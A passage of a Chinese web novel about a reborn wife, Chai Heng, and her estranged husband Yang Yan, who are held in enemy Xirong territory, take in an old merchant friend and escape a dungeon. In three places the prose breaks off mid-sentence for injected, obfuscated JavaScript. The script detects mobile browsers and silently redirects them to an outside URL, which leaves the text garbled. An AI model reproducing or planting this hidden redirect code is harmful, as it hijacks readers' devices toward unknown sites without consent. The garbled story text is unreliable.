前世,柴蘅也没把那个拓拔三郎当回事,毕竟,她跟杨衍在西戎待了老长的时间,其他两个都找过他们麻烦,只有这个拓拔野面都没露过。但后来事实证明,他是最狠的那一个,用了十年时间,把两个兄长的头颅悬在晋阳城的门口,连亲生父亲都被他晒成了人干,是个狠人。 而此刻,看着面前的拓拔鹰,想到很多年以后晋阳城门口的一只头颅,柴蘅百感交集。 “二王子说笑了,西戎善战,西戎将士多勇猛,周边几国众所周知,我们大齐又一向以和为贵,何至于试探?” 木屋里,杨衍不知何时走了出来。他这几日勤换药伤已经收口,行走无碍。 柴蘅不太擅长跟人吵架,但她知道,杨衍最擅长跟这类人打交道,于是赶忙下意识地把小板凳往旁边挪一挪,给他让出一条路。 “不是试探,那这是什么?杨大人,你不要告诉我,这个人不是齐人,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268494|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我找我们羌人扮的?” 拓跋鹰扬鞭一指,几个手下会意,将麻袋打开。里面的人扭成麻花的形状,手里死死地攥着一面大齐的军旗,口中呜呜,也不知道在说些什么。 “把他嘴里的布拿出来!” “绳索也给他解开!” 拓跋鹰下令。 还是那几个手下,上前去给他解开了绳子,中途因为他不太老实,还重重地在他屁股上拍了一下。 身上的束缚没了,麻袋里的人顶着一张黑漆漆的脸,张了张自己能开口的嘴,然后突然举起旗子,咬牙道: “扬我大齐军威!杀光羌族小儿!” “……” 此话一出,空气中顿时一片死寂。 拓跋鹰十分嫌弃,一鞭子就抽了上去:“这个人,大清早闯进我的军营,要去偷兵符,拿着个破旗子乱晃,生怕我们大营的将士瞧不见他,也不知他是白痴,还是当我是白痴。” 说着,扬手又要抽第二鞭。他抽第一鞭的时候,柴蘅还没有反应过来,眼见着他第二鞭又要落下来,柴蘅眼疾手快站起来,在她要用腰刀拦住拓跋鹰的鞭子前,杨衍已经抬手握住了鞭梢。鞭梢划过虎口,留下一道火辣辣的血痕。 他目光如炬,笑道:“二皇子,我大齐百姓亦非刍狗。” “百姓并非刍狗,那细作呢?”拓跋鹰问。 杨衍道:“两军交战兹事体大,我大齐即使派细作也不会派一个脑子少一根筋的人。” 在场的人,但凡是正常一点的都能听出杨衍是在维护地上那位,可偏偏那位只听到了后半句话,在杨衍说完后,突然梗起了脖子,试图去反驳一下说他脑子少根筋这句话。 在他开口之前,柴蘅飞快地把他摁了回去:“闭嘴。” 他看着是脑子不太灵光的样子,拓拔鹰此次来原也不是真的要当着杨衍的面杀了他。 只是想要给杨衍送这么一个人,卖他一个人情。 于是顺坡下驴,用鞭梢点了点地上那位的背,一字一顿道: “这个人,看上去确实没有做细作的本事。既如此,我今日就先把他还给杨大人你。”拓拔鹰顿了顿,又继续,“还希望杨大人帮我好好审上一审,等三日后,我再过来,看看到底是大齐朝廷在背后指使他,还是另有其人。” 说完这话,他似乎还想再说些什么,一旁的副将突然提醒他:“二王子,可汗那里通知您今晚去赴宴,太迟了不好。” 他这才高昂起下巴,道了一声“收兵”,言毕,又浩浩荡荡地带着这一队人扬长而去。 拓拔鹰一走,计长卿就从柴蘅的身后钻了出来。眼疾手快把地上那人扶了起来。 “啧啧,脸怎么黑成这样?这大晚上出去都能冒充黑瞎子了。” “一个齐人好端端乱跑什么,跑到这西戎地界遭罪啊,这又没有你的旧相识。”他心疼地拍拍这位的身上的灰。 却见这位刚站直身子,就将目光投向了柴蘅:“阿蘅是我的旧相识。” 如此亲近的叫法,让柴蘅诧异了一瞬。 “你认识?”杨衍似笑非笑地坐在了她原先坐的那个小板凳上,一副捉奸的样子。仿佛这几天的郁结之气都抒发了出来。 “我认识你么?”柴蘅问。 对方见她相见不相识,一下子就明白过来,赶忙跑到井水边给自己打了一盆水,待到把脸上的灰都抹了,刚刚好露出一张清俊的脸。 “徐见贤?” 柴蘅这才认出他,不敢相信此刻狼狈的跟乞丐一般的人,竟然是那个昔日里绫罗绸缎在身,没受过半点委屈,吃过半点亏的江宁富商。 “你怎么会在拓跋鹰的大营?” 按照上一世的发展,此时此刻,他应该在拓跋元离那里才是。 这话说来话长,徐见贤叹口气:“有药膏么,容我缓一缓,我再慢慢同你讲。” 他背上被拓跋鹰刚刚狠狠甩了一道,此刻已经可以显见翻卷的皮肉。柴蘅看了一眼:“伤的是不轻。” 刚好这屋子里还有一个受了鞭伤的病患。 她回过头,面向杨衍,询问道:“药膏在你那里么?” 她对徐见贤语气关切,全然没有意识到他身上的伤比徐见贤要重得多。更别提刚刚,他替徐见贤挡下拓跋鹰的一鞭子时,手也受了伤。 杨衍抬眼看了她一眼,沉默半晌,似乎是在等她说其他的话。 5. 台阶 柴蘅问了一遍没得到回应,也就不问第二遍了,干脆直接带着徐见贤进了屋,掀开帘子自己从杨衍那里拿来了药膏。 徐见贤坐在床前,先是喝了口水,喘了口气才道:“门口那个杨大人就是你的丈夫?他看着仪表堂堂,倒不像是你口中挑剔的模样。只是说话不太好听罢了。” 柴蘅知道他指的是杨衍指桑骂槐,说他脑子少根筋这件事,其实刚刚乍一眼看见他的时候,她也觉得杨衍没说错。可人总有落魄的时候,柴蘅也不好当着徐见贤的面说杨衍说的对,只好笑道:“人不可貌相,你大概是看错他了。” “是么?”徐见贤缓过气来,“年前你托我给你买了一块沉香木,那块香料我让上京办事的脚夫给你捎去了,你用来做木雕可还顺手?” 柴蘅这个人没有什么别的癖好,就是爱雕一些稀奇古怪的木头。前世,她从徐见贤那里买过不少沉香木,都用来给杨衍雕木偶了。杨衍这个人对木料十分考究,寻常的木头入不了他的眼,京城商贩又不乏一些坑蒙拐骗之人,所以每年,她都要同徐见贤这个旧友做不少次生意。 “顺手。” “是顶好的料子。”柴蘅很诚恳地评价。 徐见贤:“顺手就好,对了,今年江宁织造局那边说宫里传出消息,原本要跟西戎和谈的圣人突然改了主意,说想要打仗,你知道么?” 柴蘅摇头,这一点,她还真的不知道。 刚重生的时候,她以为这一世的发展也会像上一世一样,她拿着杨衍的那封书信去拓跋元离的大营把其他几个齐人救出来,然后杨衍用离间计让西戎皇室自己内乱,进而削弱西戎的势力,逼得他们不得不跟大齐和谈。 可这辈子,明显很多事情开始不对劲。拿此刻的徐见贤来说,按理,他现在就不该出现在这里。 想到这里,她坐下来,听徐见贤继续道:“西南那边的军队现在都在往肃州边境去,你师父靖王爷先前交出去的兵权也被陛下还了回来,他老人家的那一支靖南军向来是咱们大齐对外的保障,我在江南听闻军队打仗要粮,就连忙捐了大半家产。官府那边看我给的太多了,不敢派自己人送粮,生怕粮食在路上出个什么意外,担不起这个杀头的责,让我找人押送,我这才来到了这里。” 徐见贤向来是个爽气的商人,能一下子捐出大半家产也当真不是寻常人能干得出来的。 柴蘅打心底里佩服他,同时也有疑问:“粮草押送不应该是送往肃州边境么?那你怎么到了这里?” 说到这个,一贯好脾气的徐见贤也有些郁闷:“我们请的带路的脚夫不认识路,把我和半路碰见的一个姓薛的姑娘以及一个姓楚的小伙子都带到这里了。” 他口中姓薛的姑娘应该就是薛如月,姓楚的小伙子应该就是楚堰怀。 柴蘅来不及想别的,下意识地问:“那粮草呢?” 徐见贤叹气:“也被带来了这里。” 听了这话,柴蘅才是真的两眼一抹黑。两军打仗,粮草向来是最为重要的,眼下这等于给敌军送粮,她突然觉得这辈子,他们的处境比上辈子更难。 徐见贤脸上的表情也很为难,事已至此,多说无益,他此刻背上的皮肉痛得厉害,扭头对柴蘅道: “阿蘅,我先上药,劳烦你避一避。” 柴蘅会意,道了一声“好”,扭头走了出去,这一出门才发现杨衍跟计长卿还坐在门口。计长卿正眨巴着一双既世故又单纯的眼睛看着她,一副有话想说但又不知怎么说的样子。杨衍则拨弄摩挲着手边的树枝,见她出来了,才淡淡开口: “问清楚他是怎么来的了么?” 柴蘅也跟着坐在门槛上:“他说了一半,我只知晓他是如何来到西戎的,至于怎么到拓拔鹰的大营的,忘了问。” 徐见贤是她的旧相识不错,但并非是诏狱里的犯人,好端端的,她也不能审他。 “什么都没有问清,你们都能待那么久?”杨衍平静开口,话语里的嘲讽明显。 柴蘅早习惯了他夹枪带棒的说话方式,在心里告诉自己,没关系,等回到京城和离了,这辈子都不用再听这些不中听的话了,也不生气,只是道:“起风了,你同计大人不进去?” 她没有同他吵架,也没有像以前一样反唇相讥地嘲讽回去,只是用比他要千百倍的态度对待他。这让杨衍内心反倒燥意更甚,有一种一拳打在棉花上的无力感。 以往他们也没少闹别扭,但大多都是他是冷静的那一方。冷眼看着她质问他,冷眼看着她跳脚。柴蘅脾气其实也好,每回闹过后,稍稍在侯府的其他人面前递个台阶给她,她就下了。但这一回,他的台阶递了,她装作不看见,下的有点久。 计长卿坐在一旁,就那么看着这两人一来一回,看似短短的两句话却给人一种剑拔弩张的感觉。 于是,他轻咳一声:“我们进去吧。”企图缓解这尴尬的气氛。 杨衍却没有半点要挪进去的意思:“你们进去,我去捡些木头。” 计长卿不明所以:“捡木头做什么?” “搭屋子。”杨衍言简意赅,言下之意,如今这屋子住不下。 计长卿沉默片刻,虽然他也觉得如今这地方实在太挤,可一旦搭起屋子来,他又不好什么都不干,为了省事儿,他劝说道:“这里现在人是多了些,但一间屋子也不是今日就能搭好的,我们三个男人在一处凑凑也可以的。” 计长卿以为杨衍是侯府世子的矫情病又犯了,满怀希望地劝说他。 柴蘅心里清楚,虽然上辈子的走向变了,但是徐见贤最终还是跟他们待在了一起。也就是说,不久之后,这一处地方极有可能还将迎来薛如月跟楚堰怀,仅仅只有一处木屋是不够住。 这西戎又不像大齐一样能让他们来去自由,趁着拓拔元离这些日子没空顾到他们,确实应该未雨绸缪。 “你去给小十三喂奶。” “我跟他去捡木头。” 柴蘅扭头对计长卿说。 计长卿见这两人打定主意真要去,也知道自己劝说是没什么用的了。转而叹口气道:“柴四,要不我跟你去吧,我有些担心杨大人身上的鞭伤。” 寒冬腊月,杨衍身上的伤又刚收口,倘若在地里摔了或是怎样,怕是回来又要起高热。 身为被朝廷一起遗弃在这里的难兄难弟,计长卿打心眼里还是怕杨衍死了的。 柴蘅其实早早地也想到了这一点,但她总觉得这现在不是她该关心的问题,等过几日薛如月真来了,他的这个白月光自会关怀照顾他,可计长卿既然提了,她也只好走走场面,跟着关怀一句:“你可以么?” 杨衍见过柴蘅真心担忧一个人的样子,自然分得清这是真情还是假意。这种假意颇有些侮辱人,倒显得他上赶着似的,他很不需要。 “可以。” 既然可以,那就没什么可说的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268495|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了防止在山上遇到狼或者熊,柴蘅又进去像以往一样把弯弓背在身上。同时,给杨衍准备了一把能方便砍树的小弯刀。万事俱备,两人又踏上了出发的路。 在找木头,砍树这件事上,杨衍算是一把好手。 前世,她从大齐赶到西戎的时候,杨衍跟计长卿两个人已经在西戎待了有足足两个月。计长卿虽不是什么豪门大户出身,但有一个极爱他的妻子陈怜意,陈怜意平日里除了读书,几乎什么都不让计长卿沾手,所以他什么都不会做。等到柴蘅赶到西戎的时候,挑水砍柴这类事情,杨衍已经手拿把掐。 不过一个下午的时间,两人就已经来来回回运了有三趟木头。 等到准备运第四趟的时候,杨衍放下了挽起的袖子:“我要去一趟拓跋元离的大营,倘若明日不回来,你从乌月河左边的那一条大路带计长卿一路往东走。拓跋鹰的营地在靠近水源的百米处,你告诉他,你是靖王的义女,他会放你跟计长卿走。” 两军交战,攻心为上。 拓跋鹰在打仗上并不如他的哥哥,光靠一张嘴将可汗哄得团团转,才得来了西戎的兵符,但西戎人尽皆知,一旦仗打起来,主力军便是他的哥哥拓跋元离。西戎人又向来推崇勇猛的首领,拓跋元离若是赢了,拓跋鹰在皇位争夺战中将输得一败涂地,所以从个人利益上来说,他一点都不希望拓跋元离赢,甚至希望他败,败得越惨越好。 可这些兄弟间的矛盾,至今都还没有能放到表面上,倘若能有人从中点一把火,把他们两人的矛盾放到最大,西戎军将不战自溃。 而杨衍手里的那封信,就是那一把火。 “你要去送信?”柴蘅将筐子里的木头一根一根地往外放,突然意识到了他要做什么。 他现在去送信,这木屋子谁来搭?她只会雕木头,不会搭屋子。计长卿看着也不是个能干这个活的,倘若非要计长卿来,这屋子怕是得塌。 她这一回是真的担忧了,但这担忧并非是对杨衍这个人,而是对这一堆的木头。 很久没从柴蘅的眼睛里看到这种真实的关怀,杨衍心头蓦地一软,他突然想起很多年前有一回,他在南阳书院心血来潮替她教训了一个总欺负她的混蛋,被夫子罚跪戒堂打了二十手板子,那时候她也是这么看着他的。 许多往事禁不住细想,一细想总能从中品出别的味道。他突然觉得,多少年相互扶持着走过来也很不容易,当初的事情,他们虽然各有过错,但最后她掉进去的那个坑确实是他命人挖的,她对他有怨气也正常。 想到这里,他略微颔首,忍不住再抛给她一个台阶:“永州前一晚,你不是给我雕了个木偶么?” 柴蘅皱皱眉头:“你怎么提这个?” 她没明白他的意思。 杨衍觉得自己已经说的不能再明显了,敛眸道:“我当时没要,你可以再雕一个。” 他们从前每回闹别扭,柴蘅都会送他一个木偶。一来二去,杨衍的书房里放了不少这些丑东西。只要他收了,就代表和好。这是他们的惯例。 杨衍这个人虽然从不道歉,但也不记仇,往常的时候,只要她送来木偶,他会收下。 只有永州前一晚是个例外。 他哪壶不开提哪壶,柴蘅瞬间又回忆起了自己那一晚的心情,高高兴兴准备了半个月的东西没送出去,被羞辱了一顿,两天后还死了。 她想也没想,柔声道:“滚。” 6. 旧梦 这一晚,已经很久没有做梦的柴蘅做了一个很长很长的梦。在梦里,她先是梦见了师娘,她梦见自己离开芙蓉山的前一天,她抱着膝盖坐在屋顶上看月亮,一贯温柔的师娘把她抱在怀里,对她说: “阿蘅,柴家就是你的家,柴夫人就是你的母亲。你不用害怕,回了柴家只要你对她好,她也一定会像师父师娘一样对你好。等将来,你嫁了人也是这样,你真心待你的丈夫,他也一定也会真心待你。” “可如果有一天,你拼尽了所有努力,也仍旧做不到他们心中想要的样子,那就不要努力了,是你们之间没有缘分。” 她在这个梦里辗转反侧,很快画面一转,又梦到薛家出事那一晚,母亲带着哭泣的薛如月和一群家丁气势汹汹地从外面赶过来,将原本就全身是血,正十分恍惚的她从屋子里拖了出来。 家法板子一下一下打在她的背上,她满口都是血腥的味道,耳边是香巧的哭声,和周九焦灼的声音。 “大夫人,侯爷还没有回来。他先前说过,您要来,是要先知会他一声的,这是侯府,您这样做,不合情理。” “情理?我养出这样的孩子,就是向菩萨告罪千万次也不足惜,十八条人命,她是杀人,这是多大的罪孽!” 柴夫人手持一串念珠,向来端庄的妇人第一次气成那个样子。薛如月在一旁呜呜地哭泣着: “周管家,你若觉得我薛家人的命不是命,只有你们家夫人的命是命,那大可前去文华殿请侯爷前来,看看究竟孰是孰非。” 周九当时愣了一下,还真的连滚带爬往文华殿去。在梦里,那一晚下了很大的雨,柴蘅整个人昏昏沉沉的,连一个辩驳的字都说不出来,她的嗓子很哑,有那么一瞬间,她也在想,杨衍真的会来救她么? 她给他惹了这么大的麻烦,薛如月又哭得这样厉害,他真的会帮着她么? 她脑子是懵的,支离破碎的东西在她的脑子里打转,直到周九又跌跌撞撞地回来,没有带回那个该带的人以外,还给她带回了一句她这一辈子都难以忘记的话。 他对周九说:“替我转告柴蘅,活不活该这种事,她自己清楚。” 窗外风声呼啸,柴蘅在这个梦里辗转反侧,最终挣扎着惊醒过来,醒来的时候浑身都是冷汗。 计长卿从隔壁爬过来,正小心翼翼地看着她。 “好端端的,怎么会做噩梦?”计长卿问。 柴蘅擦了一把额头上的汗,喘了几口气,摇摇头:“没事,只是想起了一些从前的事情。” 徐见贤睡觉有些打呼,计长卿一个晚上都没有睡着,在隔壁只依稀听见柴蘅在梦里呓语着师娘母亲,想起那些京中的流言,忍不住好奇问她: “都说你是临阳城那一战被柴家不小心遗失在外头的孩子,你母亲柴夫人后来是怎么找到你的?” 柴蘅刚从梦里缓过劲来,并不太想提这些,但他问了,也没什么不可以说的:“我母亲名唤苏白玉,我出生的时候,她把家传的一块鱼形白玉搁在了我的襁褓里,后来先帝夺位,我母亲的娘家临阳城起了兵祸,举家逃难,在路上怕我哭了被军匪发现,就把我留了下来。” “是我师父师娘救下了年幼的我。让我认他们为义父义母,后来我十多岁的时候发了一场高烧,芙蓉山没有好的大夫来治我,师娘就千里迢迢从京城请了太医来医治我,我母亲曾在太医院任职,太医院不少人知晓我遗落在外的事情,那个太医刚好瞧见我身上有那块母亲的家传白玉,便告知我的母亲,寻回了我。” 柴蘅缓缓将往事道来,其实当初柴家刚来要孩子的时候,师娘是犹豫了的,但后来是师父觉得,天底下没有一个做母亲的会不心疼自己的孩子,不能因为他们没有孩子就强行留下她,这才把她还了回去。 计长卿点点头,这才了解到是这么个前因后果,于是又问:“那杨衍呢?他们说,当年你还在柴夫人肚子里的时候,你们就指腹为婚了,可他不喜欢你,又怎么会娶你?” 好不容易逮到一个听故事的机会,计长卿自然不会放弃。 “他娶我是因为那时候陛下要我师父的兵权,而那时候他又刚入职兵部,娶了我,我师父顺理成章就把兵权给了他。” “那你呢?你看上他什么,一张脸吗?” 柴蘅:…… 计长卿这句话问得太直白,柴蘅并不太想回他,但想一想,她当初跟杨衍成婚,一开始单纯是因为母亲喜欢他,嫁给他,赌他有个大好前程,全家都高兴。另一方面,后来确实是跟这一张脸有关。 可在一起十几年过日子,单凭这一张脸,单凭一厢情愿的喜欢终究是过不下去的。 计长卿不知道柴蘅曾经经历过什么,也不知道一个原本那样喜欢杨衍的人好端端地怎么就不喜欢了,但凭借着他跟自家妻子陈怜意多年相处的经验来说,夫妻关系如果不好,定然不是一天两天的事,想到这里,他也不再劝说,而是问: “那你如果跟杨大人和离了,还会待在京城么?” 他这话话音刚刚落下,柴蘅还没有来得及回答,就听见外头就突然响起一阵簌簌的箭矢声,几支飞箭扎破轻薄的窗户纸射进来,结结实实地扎在了墙上,将原本还算坚硬的墙射穿了好几个洞。 “杀……杀人啊,他们要。” 原本还专心致志听逸闻趣事的计长卿脸色一白,顿时变成了结巴,徐见贤听到箭声也从里侧慌慌张张跑出来,柴蘅愣了一下,突然想起上一世,为了防止西戎士兵骚扰他们,计长卿是在床底下挖了一条暗道的,这暗道虽然仅仅只有三米,有入口没出口,但也能躲几个人。 她下意识地抬头看向计长卿:“你挖暗道了么?” 计长卿点点头,很快又反应过来:“咦,你怎么会知道我挖了暗道?” “现在不是说这个的时候,你带着徐先生和小十三先藏进去,不管外面听到什么声音,都不要出来。” 柴蘅说着,立即把床底掀开,关键时刻,背弃朋友的事情,计长卿做不出来,他连忙拽着柴蘅,着急道:“那你呢?我们躲进去了你怎么办?” 柴蘅拍开计长卿的手,屋子里亮着灯,明显就是有人的。倘若她跟着他们一起藏进去,西戎人瞧见这里空无一人,反倒会起疑心。 “我没事。” “你快先带着他们进去。” 柴蘅说着,从摇篮里把小十三抱起来。这是临安皇贵妃的孩子,当初在晋阳城难产,临安皇贵妃没了,但孩子活了下来,后来误打误撞被西戎人带走,在杨衍跟计长卿来到西戎后,西戎人也懒得对一个还在襁褓中没有任何继承大齐皇位可能的孩子下手,于是又把小十三扔给了他们。 计长卿抱着怀里的孩子,死活不肯进去。 “可是……” “别可是了!快点!” 眼下情况紧急,柴蘅来不及跟他们多说,手忙脚乱地就把这两个人往里头塞。 外面的冷箭还在“嗖嗖”地射着,与此同时,还传来了西戎兵士的声音:“里头的人出来,出来我们还能饶你们一条命!” 柴蘅摸了一把腰间的弯刀,心想,这要是出去,还不得被射成一个刺猬?她自然不会傻到自己乖乖往外走,只是将桌子掀翻蹲下来避着外面的箭矢,直到外面的士兵实在没有了耐心,一脚踢开了木屋的门。 为首的士兵应该是个领头的将领,身形彪悍,见里面只有一个柴蘅后,用她听不太懂的西戎语骂了几句,见柴蘅一脸茫然,才又说起中原话: “你其他的同伴呢?” 柴蘅抱着脑袋从地上站起来,眼见着外面没有冷箭在飞了,这才把手放下:“如今天冷,我其他几个同伴怕后面几日再下雪,如今上山去捡柴火了。” 她生了一张温柔和顺的脸,看着没有什么攻击性的样子,为首的西戎将领将信将疑:“这时候去捡柴火?” “是啊,将军不信请看外面,那都是刚刚我的同伴带回来的,他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268496|182196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捡了一些,便又出去了。” 西戎将领依旧半信半疑:“大王子说要把你们都带到军营去,既然只有你一个,那就先把你领走吧。” 说着,几个西戎士兵便上前用绳子把柴蘅的手捆了个结结实实。 这群西戎人虽然野蛮,但有个优点,不打杀女人。柴蘅看了一眼带队人的数量,想着即使蛮干,自己也干不过他们,干脆放弃,任由他们绑着自己往前走。 她虽然被带走了,但剩下的那个西戎将领也没有放弃身后的屋子,转头又让其他士兵继续搜索看似空荡荡的屋子。 来带走柴蘅的是拓跋元离的人,柴蘅跟着这几个人走了一段,最终来到拓跋元离的大营,被他们直接扔进了一处地牢里。地牢很暗,只有一扇窗户能够透出半点月光,她进来后不出所料的,瞧见了杨衍。 他这一回大概没有说什么让拓跋元离不高兴的话,拓跋元离并没有对他动用刑罚,而是把他扣了下来,柴蘅没什么意外的,报信的那个人总会被扣下的,她也曾经被扣下过。 可这样一来,楚堰怀跟薛如月怎么办? “那两人呢?”虽然他们跟她的关系不大,但柴蘅还是有些好奇。 上辈子,楚堰怀和薛如月逃出去后,是杨衍安顿的他们,等安顿完他们,他才来大营重新找她把她领走,这一世,谁把他们接走呢? 从前提起薛如月,她就一副跳脚的样子,如今提起来却云淡风轻,这让杨衍不禁诧异地看了她一眼。 可诧异归诧异,他还是将今日自己从拓跋元离这里得知的都告诉了她。 “他们两个是跟徐见贤一道来的,三个人在拓拔元离的这个大营装了几日的傻子才活下来。” “前几日,徐见贤逃走的时候,他们两个也早已经跟着一起跑了。”杨衍略微颔首,娓娓道来,扫了一眼她手腕上的绳子,“过来。” 柴蘅戒备地看他一眼,但很快意识到了他要做什么,于是又顺从地走过去,任凭杨衍帮她把手腕上的束缚松开。 这一处地牢又高又暗,但那一扇窗户看着倒是能逃出去的样子。柴蘅不想坐以待毙,如果能跑,那必然还是要跑的。 杨衍跟着柴蘅的目光看过去,好心开口:“你踩着我上去?” 柴蘅正有此意:“那你蹲下?” 杨衍依言蹲了下来,柴蘅看了一眼地上的绳子,在踩上他的背之前,先把绳子捡了起来。 “那绳子那样脏,你还捡它做什么?”杨衍不可思议地看着她。 柴蘅想,她到底不是一个铁石心肠的人,如果真能从这个窗户爬出去,也不可能真的一个人走,到底还是要把他带走的。毕竟认识这么多年,买卖不成仁义在。 “虽然你总丢下我,但杨衍,我不能做你一样的人。”柴蘅说着,已然把绳子缠起来放进了自己的袖口里。 她这话说得颇有深意,杨衍神色复杂了一瞬,欲言又止,正想要开口,她已经毫不客气地踩了上来。 上一世,他们关系还算和谐的时候,她没少踩着他的背去爬侯府的那棵大石榴树,杨衍能感觉到,相较于上辈子死前的那段时间,现在的柴蘅还要胖乎一些。 “同样是糖酥酪,费三娘做的没有周二娘做的合你胃口?”杨衍冷不丁问。 周二娘是如今侯府里的厨子,费三娘是十年后新换的,这两人最拿手的便是糖酥酪和花生酪。以前柴蘅在侯府的时候,每日都要吃两大碗酥酪,这两人味道做得都差不多,只是费三娘来的时候是她跟他关系闹得最僵的那一年。 适逢母亲当时刚打了她一顿,他找了太医来医治她后又从不来看望她,还把她关在福园里不许她出去。 作为一个有血有肉的人,她的心情自然不会好,又怎么可能像以前一样有牛一样的胃口。 想到这里,她如实地回:“如果你爹打了你一顿,我不去看你,还顺势把你关起来,你会每天满脑子想着吃么?” 杨衍:…… 7. 选择 听她这样讲,杨衍也恍惚间突然想起了他在文华殿给小皇帝讲经筵的那个雨夜。 他记得当时周九从侯府匆匆赶到宫里,一路跪拜求见,见了他后只说让他救夫人一命。彼时吴江之乱刚刚平定,朝廷百废待兴,他并无心听这些后宅之争,况且柴夫人是柴蘅的生母,一个母亲再如何觉得自己的女儿不争气,也不至于下什么狠手。 再加上那时候他私心里本也觉得她该得一个教训,所以只冷冷对九九道了一句“她不该受罚么?转告柴蘅,活不活该这种事,她心底应该有数。” 等后来回到侯府,见到庭院里尚未被清理的血迹和满背都是血印子,奄奄一息只剩下半条命烧得昏昏沉沉却没人来治伤的她时,他又觉得,这罚,属实过重了。 “你就只记得一些我对你不好的时候,那我就没有对你好的时候么?”他敛了敛眸,低声开口。 柴蘅在他的背上站稳,正试图推开那一扇窗户:“当然有,所以我现在还能这样跟你说话。” 这地牢的墙实在太高,也太滑,柴蘅推了半天好不容易把窗户推开了,发现还是需要杨衍站起来,她得踩在他的肩膀上,光踩他的背是不行的。 想到这里,她先礼貌地询问他:“我能踩你肩膀上么?” 他肩上还有几道鞭子的淤伤,先前柴蘅给他抹药的时候看到过,她就这么踩上去,他疼不疼先放一边不谈,她主要担心这人万一一个站不稳,摔了她。 “可以。” “那你要扶稳我的脚。”柴蘅还是有些不放心。 听到她这么不信任自己,杨衍忍不住嗤她:“我从前摔过你?” 柴蘅:“那倒没有。” 但此一时彼一时,人总归要多留一个心眼。 这样想着,她挪了挪脚下,又稳稳踩在杨衍的肩膀上。也许是落脚的地方并不太合适,她感觉她踩上去的时候,这个人的脊背僵硬了一瞬,但碍于面子并没有闷哼出声,她怔了一下,又挪了挪,稍稍避让开了他的伤处。 感觉到她刻意地在避让他的伤处,杨衍垂了垂漆黑的瞳眸,又十分稳当地站了起来。他虽然是个文臣,生了一张看似文弱的好脸,但力气并不小,且身姿挺拔高大,托住她这件事还是十分顺畅的。 这一回,柴蘅总算能够不费力地透过窗户瞧见外面,在确认地牢外只有一个看守后,她把绳子重新从袖子里拿了出来,递了一边给杨衍:“你先拽着这一头,这绳子够长,等我翻过去,踢翻那守卫,就拉你出去。” 她身手敏捷且灵巧,话音刚落,杨衍就觉得自己肩上一轻,紧接着,就瞧见柴蘅已然从窗户那里翻了出去。 不多时,伴随着看守地牢的侍卫的一声哀嚎,隔着一堵墙,杨衍又重新听见了柴蘅的声音: “我要拽你了,你自己也顺着墙爬一爬。” 杨衍闻言将绳子的一端绕了两圈在手上,紧接着,借着柴蘅的力,往上面攀,像刚刚的她一样,成功顺着窗户翻到了地牢外。原先的侍卫此刻仍在鬼叫,见杨衍翻出来了,柴蘅腾出一只手眼疾手快塞了一块布进那守卫的嘴里,把他的嘴给堵了个严严实实。 地牢外是拓跋元离的营地,军帐之间都隔着很远的距离,辽阔的草原上还遍布着尚未消散的积雪。 杨衍并非武将,这种翻高墙的事情以往都是柴蘅在做,他做被踩的那一个,冷不丁自己翻出来,落地时也在地上滚了一圈。他很少这么狼狈,那一身滚金的雪白的衣裳上都沾了些许的泥水,甚至牵连了发丝,唯独那一张脸还是跟从前一样俊得让人心惊。 好白一张脸。 可惜了,当小白脸的话不够乖巧。 柴蘅从守卫那里缴获了一根鞭子,想着下一回万一腰刀断刃了能用得上,此刻不知怎的,起了些许不好的心思,隔空甩了甩鞭子,趁着杨衍还没有爬起来,在这人臀上狠狠抽了一下。 火辣辣的疼痛贯穿某个难以言说的部位,杨衍神色僵硬了一瞬,耳根顿时变得红热,过了半晌才冷冷道:“你打我?” 他眼神里的情绪太多,让柴蘅无法一一品味参透。 柴蘅想,她对他已经十分仁慈,不过象征性地抽了他一下而已,这要换一个狠心的,抽他八百鞭怕是都不解恨。 “好了,不要矫情,快点起来。” 柴蘅低头将这缴获的战利品收进自己的袖口中,放任他自己爬起来。也就在此刻,几簇要闪瞎人眼的火把已经照亮了他俩的脸。 原本除了那倒霉守卫以外还空无一人的地牢边不知何时已经围满了人,柴蘅抬起头,映入眼帘的先是拓拔元离那一张彪悍的脸和高大的身姿,随后就是被绑的像个粽子一样的徐见贤已经因为抱着孩子而躲过一劫没被绑,但战战兢兢红着眼眶的计长卿。 “你们不是……” “小十三哭了,我们两个被找到了。”计长卿颤颤巍巍地说,双腿都在发抖。 拓拔家族也不知道是吃什么长大的,兄弟几个都高的要命,一个拳头能抵中原男人两个,计长卿站在拓拔元离的身侧,总觉得自己随时会死于这铁拳之下。 也许是常年征战的原因,拓拔元离的脾气要比他的弟弟拓拔鹰更暴躁一些,盯着他们看了半晌后,先是笑了笑,然后拍拍手掌,让属下带上来一人。 